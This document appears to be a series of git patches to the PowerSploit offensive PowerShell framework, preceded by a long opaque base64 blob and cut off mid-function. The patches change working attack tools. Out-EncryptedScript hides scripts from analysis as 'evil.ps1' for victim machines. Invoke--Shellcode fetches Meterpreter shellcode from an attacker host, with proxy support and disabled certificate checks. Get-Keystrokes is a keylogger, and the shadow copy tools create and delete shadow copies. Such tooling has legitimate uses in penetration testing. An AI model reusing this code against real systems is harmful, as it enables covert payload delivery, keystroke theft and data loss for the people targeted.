0sTTLNN40RjVNNWI1aTVvNa41yDXWNek1+zUNNjA2PjZRNnc2jDauNr023Db4Nhk3PzdZN4w3tTfPN6U8qzyyPME8xjzOPNQ82TzgPOY86zzyPPg8/TwEPQo9Dz0WPRw9IT0pPS49OT1BPUk9UT1dPWM9ej2APYY9kT2ZPaY9rD2zPbk9xj3LPdA95j3rPfA9Bj4LPhA+Iz4qPlQ+Wj/BPwAAAMAAANwAAABHMFwwZjB5MI0wlzC0MOAw9jAZMS4xNjE8MVMxUTJhMmcydTKRMqsyxTLdMhczHDNAM0YzZjOmM6wzuDPIM+Mz/jMPNTM1RzVbNW81vjXlNQw2KDZyNrc2FDcZNzk3cTd+N4Q3jDeSN5o3oDeoN643vzfHN8035zfvN/U3/TcDOEA6YTqDOqA6vTrIOjE7UDt4O4c73TsWPEw8WDxfPGc8bTyAPI88rjzWPPs8GD1hPW89pD2rPbg9vj3YPeA95j01PnY+rj7ZPgE/Vz+BP84/+j8AAADQAABwAQAAGTA2MIMwrzDOMOswJzFTMXIxjzGmMa4x7TEEMisyWTKEMpUyqTLPMvcy/zIFM3kzhzOTM54zvzPRMws0GDQnNC80NTRCNGA0czSJNK00zzTfNOs08TQnNS01OzVPNV01fjWPNZk1tTXRNe01CTY1Nko2VDZ1NpI2mjagNrQ2yzbSNuw28TYLNxA3KjcvN0k3TjdoN203hzeMN6Y3qzdfOIo4sjj1OAM5QTlJOU85XTljOW85ejl/OYY5iznIOf45BToSOhg6Jjo2Oj06VjpeOmQ6eTqUOqs6xzrROts66ToJOxs7KTsuO0c7ZztzO3o7gTuUO5w7oTutO7o7xDvQO+o78Tv+OwU8DDwSPBg8HTw+PEQ8UzxhPHc8jzynPL08xzzaPO88AT0IPQ49FD0wPTw9UD1XPXk9iD3YPfo9Ez4jPkw+Uj5hPok+qD7VPt4+Kz82P0s/UT9fP2U/bD93P6c/xT/aP+A/AOAAAIABAAAGMBYwRDBPMGswdjCOMJMwnzDBMOEwGjEgMX0xjTGlMbExxjHmMe8xDDInMj8yRDJLMlwyYjJpMngyfTKFMosykDKXMp0yojKpMq8ytDK7MsEyxjLNMtMy2DLfMuUy6jLxMvcy/DIDMwgzDzMXMx8zJzMvMzczPzNHM1UzXjNpM4AzlzO2M7sz7DMTNCQ0RzRoNHU0jzSuNLg01TTwNBY1WTVeNX41qDW1Nc817jX4NRU2MDZLNnE2tza8NuQ2ADc1Nzo3RTdpN4Q3rDe3N9g34DcaOEM4TjhuOIk4lji6ON046Tj+OCA5MDk7OU85XzlnOW05hDmtOdA56TktOks6aTqBOo46rDq8OsE60jruOvw6BjsUOy47OztIO207ojuuO747xjvsO/07AzwTPDc8aDxyPH48tTzCPN484zwLPSk9Sz15PYg9qT2vPbw9xT3LPeU96z3zPfk9Fz5BPk0+Wz5pPnU+gT6OPsk+6z4HPxg/SD90P5c/APAAALgBAACsMPcwBjFMMWMxszHNMeAxEzIhMigyLzI2Mj0yRDJUMlsyYjJ7MoMyiTKWMvkyvDPfM+8z9zMPNB40JTRHNGc0bjR0NHk0ijS8NMQ0yTTPNN405DQUNRw1IjU9NV81ZTVrNXA1hjWYNak1sTW/NcQ1zzXWNeM18DX8NVQ2mDbENuo2azd3N4I3iDeNN5w3oTepN683tDe7N8E3xjfNN9M32DffN+U36jfxN/c3/DcDOAk4DjgVOBs4IDgnOC44Njg+OEY4TjhWOF44ZjhuOHo4fziHOJA4njikOLM4uDi+ONE41jjdOOM4+zgAOQc5DTkZOSE5KDktOTI5ODlGOU05UzlmOW05czl/OYc5jDmZOaY5qzm2Ob05wznKOdc53DnnOe05JDozOj46TDpVOq46QzteO347BTzgPPM8/TwNPRM9GT0fPUM9ST1RPWw9fz2RPao9sD21PcY9zT3RPdk93T3lPe89ED4bPjI+Pz5YPl4+bD6IPpM+tD7UPu4+9z4APwY/HT9EP1U/Yz9oP20/cj93P3w/ij+QP5w/pz+wP7k/wj/JP9o/4z/1P/s/AAAAAAEADAEAAAAwBzAQMCUwOTBFMEwwUzBbMGEwdTCDMIkwkDC4MMEwzTDaMEMxTDFUMWAxbjF8MYoxkTGdMa8xvTHGMfYx+zEgMtAy3zLuMoIzjzOnM9Yz4jP9Mxw0TzR8NJM0nTS4NMg03DQBNR81JjUtNT41VDV/NZ01pDWrNbw11zUGNiQ2KzZINlg2iDakNqo2yjbmNvM2AzcNNxs3KzdBN0c3XDdiN5w3ojevN7Y3IDhIOMI49zgJOSg5RzlhOZE5xDnWOfU5GDpIOmk6eDqIOqY6yTrtOhI7GTskO0g7djugO7474zvqOzE8QTxRPGg8bzy5PMU8zDzTPNs89T1qPgw/SD/nPwAAABABADwBAAARMNsw4zD+MAQxKDE3MUwxYTF1MZAxsTHBMRQyGzI+MkUyWTJpMs8y6jIHM0MzYzNoM3wzhzOgM78z6TPwMw00FDRgNGk0cjT+NAw1EjUkNTA1cDV5NbY1wDXGNdA15TXuNRs2JDYqNl82gTaKNqM2rTbpNvo2FzdDN0s3XDdlNzg4QThMOFs4jTi+OMc40jjmOP04ajmeOaY5rDnTOd856zkUOhw6IjozOj06ZDq5OsA6xjrNOtI64zrzOgU7EDslOz07RjtOO1s7ZDudO9s75DvvOy48NzxXPL48xjzMPNo84TwIPSk9OD1ePYE9rD3DPdI92z3tPfY9CD4RPiY+Lz5APkk+Zz5zPoU+jj6sPrg+yj7TPvA+/D4VPx4/KT8yP04/Vz9iP2s/dj9/P4o/kz8AAAAgAQAUAQAACzCAMKUw5zDwMPcw/DANMRwxqTHCMeUx9DEmMmgyUzN+M4YzjDOZM90zKzTDNOQ0AjVINVE1WDVdNW41fjXjNQs2HTZiNms2cjZ3Nog2lzYSN1A3VzddN2Q3aTd6N4c3kDe3N9s38zcCOAg4DjgUOBo4IDgmOCw4Mjg4OD44RDhKOFA4VjhcOGI4aDhuOHQ4ejiAOIY4jDiSOJg4njikOKo4sDi2OLw4wjjIOM441DjaOOA45jjsOPI4+Dj+OAQ5CjkQORY5HDkiOSg5Ljk0OTo5QDlGOUw5UjliOeA57DkKOhA6NTp3OrY6+zoyO3k8hTyRPag+sD7IPo0/kz+YP7k/wT/HP80/8z/8PwAwAQCoAAAADTAlMDowPzBFMF0wYjBuMH4whDCLMKIwqDC1MMUw2jDkMP8wBTEMMRcxITEyMUsxVTFxMX4xpjIjMy0zgjOtM7MzuTO/M8UzyzPSM9kz4DPnM+4z9TP8MwQ0DDQUNCA0KTQuNDQ0PjRHNFI0YDRlNGs0djR9NCg1LjUCNic2aTanNtg2Fjc7N103jTfENx04iTihOMU4wDr7OxQ98j0AAABAAQBYAAAAXzAMMjsyUzKMMpAylDKYMpwyoDKkMqgy0DKRMwo0MzSMNPw0FDU4NUQ4czjeOPs4njl5Otg87j0JPqA++z7/PgM/Bz8LPw8/Ez8XP0A/AAAAUAEAQAAAADAwbDB5MKswADEZMSAyMDI+Mr4yCDMVM/0zPDSRNLc0AjW9NdQ4YzlpOXo5HDq+O5I8pjzIPKM/AGABAGwAAAAfMDAxbjHZMh4zUDOJM+Mz7DOXNKU0AjUINQ41GTU2NYM1iDWfNcI1zzXbNeM16zX3NQk2FjYeNoM21jbkNhQ3LjcBOPc4/ziyOZQ6LTszO9U72zvrO4s8ojxFPTs+Qz72Ptg/AHABAHAAAABxMHcwGTEfMS8xzzHmMRYy5DNLNNk28DY7Oj86QzpHOks6TzpTOlc6WzpfOmM6Zzp0OuY64TvyOw48TTxkPG88vjzZPO48AT0mPWI9fj2ZPdg9ID4uPmY+nT64Ptc+6j73PqQ/uz8AAACAAQAYAAAADjAcMFUwbzDOMNQw2jDgMACQAQCIAgAA6DMoNCw0cDV0NXg1gDWINYw1kDWUNcg3zDfQN9Q33DfgN+Q3MDg0ODg4PDhAOEQ4SDhMOFA4VDhYOFw4YDhkOGg4bDhwOHQ4eDh8OIA4hDiIOIw4kDiUOJg4nDigOKQ4qDisOLA4tDi4OLw4wDjEOMg4zDjQONQ42DjcOOA45DjoOOw48Dj0OPQ5+Dn8OQA6BDoIOgw6EDoUOhg6HDogOiQ6KDosOjg6VDpYOlw6YDpkOmg6bDpwOnw6gDqEOpg6sDrIOuA65Dr4Ovw6EDsUOxg7HDsgOyQ7KDssOzA7NDs4Ozw7QDtEO1A7XDtgO2Q7aDtsO3A7dDt4O3w7gDuEO4g7jDuQO5w7qDusO7A7tDu4O7w7wDvEO8g7zDvQO9Q72DvcO+A75DvoO+w78Dv0O/g7/DsAPAQ8CDwMPBA8FDwYPBw8IDwkPCg8MDw8PEA8TDxYPFw8YDxkPGg8bDxwPHQ8eDx8PIA8hDyIPIw8kDyUPJg8nDygPKQ8qDysPLA8tDy4PLw8wDzEPMg8zDzQPNQ82DzcPOA85DzoPOw88Dz0PPg8/DwAPQQ9CD0MPRA9HD0oPSw9MD00PTg9RD1QPVQ9WD1cPWA9ZD1oPWw9cD10PXg9hD2QPZQ9mD2cPaA9pD2oPaw9sD20Pbg9vD3APcQ9yD3MPdA92D3cPeQ96D3wPfQ9AD4EPgg+DD4QPhQ+GD4cPiA+JD4oPiw+MD40Pjg+PD5APkw+4D7oPuw+8D74Pvw+CD8MPxg/HD8oPyw/MD84Pzw/QD9IP0w/UD9YP1w/aD9sP3g/fD+IP4w/mD+cP6g/rD+4P7w/yD/MP9A/2D/cP+A/6D/sP/g//D8AAACgAQAQAQAACDAMMBAwFDAYMBwwIDAkMCgwLDA4MEgwTDBQMFQwWDBcMGAwZDBoMGwwcDB0MHgwfDCAMIQwiDCMMJAwlDCgMKQwqDCwMLgwwDDIMNAw2DDgMOgw8DD0MPgw/DAAMQQxCDEMMRAxFDEYMRwxIDEkMSgxLDEwMTQxODE8MUAxRDFIMUwxUDFYMWAxaDFwMXgxgDGIMZAxmDGgMagxsDG4McAxyDHQMdgx+DH8MQAyBDIIMgwyEDIUMhgyHDIgMiQyKDIsMjAyNDI8MkAyRDJIMkwyUDJUMlgyXDJgMmQyaDJsMnAydDJ4MnwygDKEMogyjDKQMpQymDKcMqAypDKoMrAytDK4MgAAAJACADAAAACQOpg6nDqkOqg6sDq0Orw6wDrIOsw61DrYOuA65DrsOvA6DDsQOwAAAMACANQAAAAQMBQwMDAwMzQzPDOIM8QzADQ8NHg0rDSwNLg08DQsNWg1nDWgNag12DUMNhA2GDY4Njw2RDZ0Nqg2rDa0NgA3PDd4N7Q38DcsOGg4nDigOKQ4qDi0OPA4LDloOZw5qDnIOcw51DkgOlw6mDrUOhA7TDuAO4Q7iDuMO5A7lDuYO5w7oDukO6g7rDuwO7Q7yDsEPEA8fDywPLQ8ED0YPUw9VD2IPZA9xD3MPVA+WD6MPpQ+yD7QPgQ/DD84Pzw/QD9EP0g/TD9QP4g/xD8A0AIAzAAAAAAwSDBQMHwwgDCEMIgwjDCQMJQwmDDgMBwxWDGUMcgx9DH4MfwxADIEMggyIDIoMlwyZDKYMqAy1DLcMggzDDMQMxQzGDMcMyAzJDMoM5AzmDPMM9QzCDQQNEQ0TDSANIg0vDTENCg1MDVkNWw1oDWoNeA1HDZYNrA2uDbsNvQ2KDcwN2A3jDeQN5Q3mDecN6A3pDeoN6w3sDe0N7g3vDfAN8Q3yDfMN9A31DfYN9w34DfkN+g37DfwN/Q3+Df8NwA4BDgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +" if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") { From 130d970c2c1c2b2b0f30e256ee3d70683969f096 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Thu, 26 Feb 2015 09:24:45 -0500 Subject: [PATCH 016/296] Out-EncryptedScript uses FIPS-compliant crypto #60 Thanks, @aconite33 for the suggestion. - TripleDESCryptoServiceProvider is now used as the crypto algorithm because it won't break the script when FIPS compliance is enabled in the registry. - I actually implemented the InitializationVector parameter - Cleaned up the output script - Cleaned up comment-based help --- ScriptModification/Out-EncryptedScript.ps1 | 78 ++++++++++++---------- 1 file changed, 43 insertions(+), 35 deletions(-) diff --git a/ScriptModification/Out-EncryptedScript.ps1 b/ScriptModification/Out-EncryptedScript.ps1 index 4fc69cfc..1764d17f 100644 --- a/ScriptModification/Out-EncryptedScript.ps1 +++ b/ScriptModification/Out-EncryptedScript.ps1 @@ -13,7 +13,9 @@ Optional Dependencies: None .DESCRIPTION -Out-EncryptedScript will encrypt a script (or any text file for that matter) and output the results to a minimally obfuscated script - evil.ps1. +Out-EncryptedScript will encrypt a script (or any text file for that +matter) and output the results to a minimally obfuscated script - +evil.ps1 by default. .PARAMETER ScriptPath @@ -27,13 +29,22 @@ Password to encrypt/decrypt the script Salt value for encryption/decryption. This can be any string value. +.PARAMETER InitializationVector + +Specifies a 16-character the initialization vector to be used. This +is randomly generated by default. + .EXAMPLE C:\PS> Out-EncryptedScript .\Naughty-Script.ps1 password salty Description ----------- -Encrypt the contents of this file with a password and salt. This will make analysis of the script impossible without the correct password and salt combination. This command will generate evil.ps1 that can dropped onto the victim machine. It only consists of a decryption function 'de' and the base64-encoded ciphertext. +Encrypt the contents of this file with a password and salt. This will +make analysis of the script impossible without the correct password +and salt combination. This command will generate evil.ps1 that can +dropped onto the victim machine. It only consists of a decryption +function 'de' and the base64-encoded ciphertext. .EXAMPLE @@ -44,15 +55,13 @@ C:\PS> Invoke-Expression $decrypted Description ----------- -This series of instructions assumes you've already encrypted a script and named it evil.ps1. The contents are then decrypted and the unencrypted script is called via Invoke-Expression +This series of instructions assumes you've already encrypted a script +and named it evil.ps1. The contents are then decrypted and the +unencrypted script is called via Invoke-Expression .NOTES This command can be used to encrypt any text-based file/script - -.LINK - -http://www.exploit-monday.com #> [CmdletBinding()] Param ( @@ -69,8 +78,9 @@ http://www.exploit-monday.com $Salt, [Parameter(Position = 3)] + [ValidateLength(16, 16)] [String] - $InitializationVector = ( @( foreach ($i in 1..16) { [Char](Get-Random -Min 0x41 -Max 0x5B) } ) -join '' ), # Generate random 16 character IV + $InitializationVector = ((1..16 | % {[Char](Get-Random -Min 0x41 -Max 0x5B)}) -join ''), [Parameter(Position = 4)] [String] @@ -78,13 +88,13 @@ http://www.exploit-monday.com ) $AsciiEncoder = New-Object System.Text.ASCIIEncoding - $ivBytes = $AsciiEncoder.GetBytes("CRACKMEIFYOUCAN!") + $ivBytes = $AsciiEncoder.GetBytes($InitializationVector) # While this can be used to encrypt any file, it's primarily designed to encrypt itself. - [Byte[]] $scriptBytes = Get-Content -Encoding byte -Path $ScriptPath + [Byte[]] $scriptBytes = [Text.Encoding]::ASCII.GetBytes((Get-Content -Encoding Ascii -Path $ScriptPath)) $DerivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($Password, $AsciiEncoder.GetBytes($Salt), "SHA1", 2) - $Key = New-Object System.Security.Cryptography.RijndaelManaged + $Key = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider $Key.Mode = [System.Security.Cryptography.CipherMode]::CBC - [Byte[]] $KeyBytes = $DerivedPass.GetBytes(32) + [Byte[]] $KeyBytes = $DerivedPass.GetBytes(16) $Encryptor = $Key.CreateEncryptor($KeyBytes, $ivBytes) $MemStream = New-Object System.IO.MemoryStream $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($MemStream, $Encryptor, [System.Security.Cryptography.CryptoStreamMode]::Write) @@ -97,33 +107,31 @@ http://www.exploit-monday.com $Cipher = [Convert]::ToBase64String($CipherTextBytes) # Generate encrypted PS1 file. All that will be included is the base64-encoded ciphertext and a slightly 'obfuscated' decrypt function -$Output = 'function de([String] $b, [String] $c) +$Output = @" +function de([String] `$b, [String] `$c) { -$a = "' -$Output += $cipher -$Output += '"' -$Output += '; -$encoding = New-Object System.Text.ASCIIEncoding; -$dd = $encoding.GetBytes("CRACKMEIFYOUCAN!"); -$aa = [Convert]::FromBase64String($a); -$derivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($b, $encoding.GetBytes($c), "SHA1", 2); -[Byte[]] $e = $derivedPass.GetBytes(32); -$f = New-Object System.Security.Cryptography.RijndaelManaged; -$f.Mode = [System.Security.Cryptography.CipherMode]::CBC; -[Byte[]] $h = New-Object Byte[]($aa.Length); -$g = $f.CreateDecryptor($e, $dd); -$i = New-Object System.IO.MemoryStream($aa, $True); -$j = New-Object System.Security.Cryptography.CryptoStream($i, $g, [System.Security.Cryptography.CryptoStreamMode]::Read); -$r = $j.Read($h, 0, $h.Length); -$i.Close(); -$j.Close(); -$f.Clear(); -return $encoding.GetString($h,0,$h.Length); -}' +`$a = "$Cipher"; +`$encoding = New-Object System.Text.ASCIIEncoding; +`$dd = `$encoding.GetBytes("$InitializationVector"); +`$aa = [Convert]::FromBase64String(`$a); +`$derivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes(`$b, `$encoding.GetBytes(`$c), "SHA1", 2); +[Byte[]] `$e = `$derivedPass.GetBytes(16); +`$f = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider; +`$f.Mode = [System.Security.Cryptography.CipherMode]::CBC; +[Byte[]] `$h = New-Object Byte[](`$aa.Length); +`$g = `$f.CreateDecryptor(`$e, `$dd); +`$i = New-Object System.IO.MemoryStream(`$aa, `$True); +`$j = New-Object System.Security.Cryptography.CryptoStream(`$i, `$g, [System.Security.Cryptography.CryptoStreamMode]::Read); +`$r = `$j.Read(`$h, 0, `$h.Length); +`$i.Close(); +`$j.Close(); +`$f.Clear(); +return `$encoding.GetString(`$h,0,`$h.Length); +} +"@ # Output decrypt function and ciphertext to evil.ps1 Out-File -InputObject $Output -Encoding ASCII $FilePath Write-Verbose "Encrypted PS1 file saved to: $(Resolve-Path $FilePath)" - } From 5b1a7750c02a3939a35f933758029bb7d9145078 Mon Sep 17 00:00:00 2001 From: Chris Campbell Date: Sun, 26 Apr 2015 18:32:44 -0400 Subject: [PATCH 017/296] URI fix, Proxy Support, UA Update This fixes the URI bug submitted by @enigma0x3. Thank you for the PR as well! A legacy switch is added in case anyone is relying on this script and an older meterpreter handler. Proxy support is added to grab the default proxy by way of a switch. The default user-agent is grabbed from the registry instead of being a static string. I tested this on a Windows 7 SP1 (both x86 and 64-bit) and Windows 8.1 (64-bit) with an older handler and an updated one. --- CodeExecution/Invoke--Shellcode.ps1 | 66 +++++++++++++++++++++++++---- 1 file changed, 58 insertions(+), 8 deletions(-) diff --git a/CodeExecution/Invoke--Shellcode.ps1 b/CodeExecution/Invoke--Shellcode.ps1 index 4d776d98..b0ba81c4 100644 --- a/CodeExecution/Invoke--Shellcode.ps1 +++ b/CodeExecution/Invoke--Shellcode.ps1 @@ -49,6 +49,14 @@ Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/re Optionally specifies the user agent to use when using meterpreter http or https payloads +.PARAMETER Proxy + +Optionally specifies whether to utilize the proxy settings on the machine. + +.PARAMETER Legacy + +Optionally specifies whether to utilize the older meterpreter handler "INITM". This will likely be removed in the future. + .PARAMETER Force Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act. @@ -179,7 +187,17 @@ http://www.exploit-monday.com [Parameter( ParameterSetName = 'Metasploit' )] [ValidateNotNull()] [String] - $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', + $UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent', + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateNotNull()] + [Switch] + $Legacy = $False, + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateNotNull()] + [Switch] + $Proxy = $False, [Switch] $Force = $False @@ -586,18 +604,51 @@ http://www.exploit-monday.com { $SSL = 's' # Accept invalid certificates - [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } + [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True} } } - # Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh? - $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" - Write-Verbose "Requesting meterpreter payload from $Request" - + if ($Legacy) + { + # Old Meterpreter handler expects 'INITM' in the URI in order to initiate stage 0 + $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" + Write-Verbose "Requesting meterpreter payload from $Request" + } else { + + # Generate a URI that passes the test + $CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_} + $SumTest = $False + + while ($SumTest -eq $False) + { + $GeneratedUri = $CharArray | Get-Random -Count 4 + $SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92) + } + + $RequestUri = -join $GeneratedUri + + $Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)" + } + $Uri = New-Object Uri($Request) $WebClient = New-Object System.Net.WebClient $WebClient.Headers.Add('user-agent', "$UserAgent") + if ($Proxy) + { + $WebProxyObject = New-Object System.Net.WebProxy + $ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer + + # if there is no proxy set, then continue without it + if ($ProxyAddress) + { + + $WebProxyObject.Address = $ProxyAddress + $WebProxyObject.UseDefaultCredentials = $True + $WebClientObject.Proxy = $WebProxyObject + } + } + try { [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri) @@ -708,6 +759,5 @@ http://www.exploit-monday.com { Inject-LocalShellcode } - } - + } } From 0045054ab09323c7434035e5a7b6381ac5dc385f Mon Sep 17 00:00:00 2001 From: Jonathan Date: Sun, 10 May 2015 21:32:14 +0200 Subject: [PATCH 018/296] Fix for headings in wrong order The column headings in the log file are out of order, e.g. ``` "TypedKey","Time","WindowTitle" "Document1 - Word","[Shift]","01-05-2015:20:53:29:28" "Document1 - Word","[Shift][Shift]","01-05-2015:20:53:29:31" "Document1 - Word","[Shift]","01-05-2015:20:53:29:38" ``` The "WindowTitle" should be the first column heading like this, ``` "WindowTitle","TypedKey","Time" "Document1 - Word","[Shift]","01-05-2015:20:53:29:28" "Document1 - Word","[Shift][Shift]","01-05-2015:20:53:29:31" "Document1 - Word","[Shift]","01-05-2015:20:53:29:38" ``` --- Exfiltration/Get-Keystrokes.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index 75400a1a..8beaf75f 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -49,7 +49,7 @@ function Get-Keystrokes { $Initilizer = { $LogPath = 'REPLACEME' - '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode + '"WindowTitle","TypedKey","Time"' | Out-File -FilePath $LogPath -Encoding unicode function KeyLog { [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null From 25934d4719faabfb2d94645e1ed2cd5738ead2d7 Mon Sep 17 00:00:00 2001 From: Jared Atkinson Date: Wed, 8 Jul 2015 16:57:31 -0400 Subject: [PATCH 019/296] Added New-VolumeShadowCopy and Remove-VolumeShadowCopy Cmdlets --- Exfiltration/VolumeShadowCopyTools.ps1 | 169 ++++++++++++++++++++++++- 1 file changed, 168 insertions(+), 1 deletion(-) diff --git a/Exfiltration/VolumeShadowCopyTools.ps1 b/Exfiltration/VolumeShadowCopyTools.ps1 index e8c28a16..6d47c343 100644 --- a/Exfiltration/VolumeShadowCopyTools.ps1 +++ b/Exfiltration/VolumeShadowCopyTools.ps1 @@ -20,7 +20,174 @@ Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' } - Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.DeviceObject } + Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | ForEach-Object { $_.DeviceObject } +} + +function New-VolumeShadowCopy +{ +<# +.SYNOPSIS + + Creates a new volume shadow copy. + + PowerSploit Function: New-VolumeShadowCopy + Author: Jared Atkinson (@jaredcatkinson) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 2.0.0 + +.DESCRIPTION + + New-VolumeShadowCopy creates a volume shadow copy for the specified volume. + +.PARAMETER Volume + + Volume used for the shadow copy. This volume is sometimes referred to as the original volume. + The Volume parameter can be specified as a volume drive letter, mount point, or volume globally unique identifier (GUID) name. + +.PARAMETER Context + + Context that the provider uses when creating the shadow. The default is "ClientAccessible". + +.EXAMPLE + + New-VolumeShadowCopy -Volume C:\ + + Description + ----------- + Creates a new VolumeShadowCopy of the C drive +#> + Param( + [Parameter(Mandatory = $True)] + [ValidatePattern('^\w:\\')] + [String] + $Volume, + + [Parameter(Mandatory = $False)] + [ValidateSet("ClientAccessible")] + [String] + $Context = "ClientAccessible" + ) + + $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) + + if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) + { + Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' + } + + $class = [WMICLASS]"root\cimv2:win32_shadowcopy" + + $return = $class.create("$Volume", "$Context") + + switch($return.returnvalue) + { + 1 {Write-Error "Access denied."; break} + 2 {Write-Error "Invalid argument."; break} + 3 {Write-Error "Specified volume not found."; break} + 4 {Write-Error "Specified volume not supported."; break} + 5 {Write-Error "Unsupported shadow copy context."; break} + 6 {Write-Error "Insufficient storage."; break} + 7 {Write-Error "Volume is in use."; break} + 8 {Write-Error "Maximum number of shadow copies reached."; break} + 9 {Write-Error "Another shadow copy operation is already in progress."; break} + 10 {Write-Error "Shadow copy provider vetoed the operation."; break} + 11 {Write-Error "Shadow copy provider not registered."; break} + 12 {Write-Error "Shadow copy provider failure."; break} + 13 {Write-Error "Unknown error."; break} + default {break} + } +} + +function Remove-VolumeShadowCopy +{ +<# +.SYNOPSIS + + Deletes a volume shadow copy. + + PowerSploit Function: Remove-VolumeShadowCopy + Author: Jared Atkinson (@jaredcatkinson) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 2.0.0 + +.DESCRIPTION + + Remove-VolumeShadowCopy deletes a volume shadow copy from the system. + +.PARAMETER InputObject + + Specifies the Win32_ShadowCopy object to remove + +.PARAMETER DevicePath + + Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object. + +.EXAMPLE + + Get-VolumeShadowCopy | Remove-VolumeShadowCopy + + Description + ----------- + Removes all volume shadow copy + +.EXAMPLE + + Get-WmiObject Win32_ShadowCopy | Remove-VolumeShadowCopy + + Description + ----------- + Removes all volume shadow copy + +.EXAMPLE + + Remove-VolumeShadowCopy -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4' + + Description + ----------- + Removes the volume shadow copy at the 'DeviceObject' path \\?\GLOBALROOT\DeviceHarddiskVolumeShadowCopy4 +#> + Param( + [Parameter(Mandatory = $False, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [Object] + $InputObject, + + [Parameter(Mandatory = $False)] + [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')] + [String] + $DevicePath + ) + + PROCESS + { + if($PSBoundParameters.ContainsKey("InputObject")) + { + if($InputObject.GetType().Name -eq "String") + { + (Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $InputObject}).Delete() + } + else + { + $InputObject.Delete() + } + } + elseif($PSBoundParameters.ContainsKey("DevicePath")) + { + (Get-WmiObject -Namespace 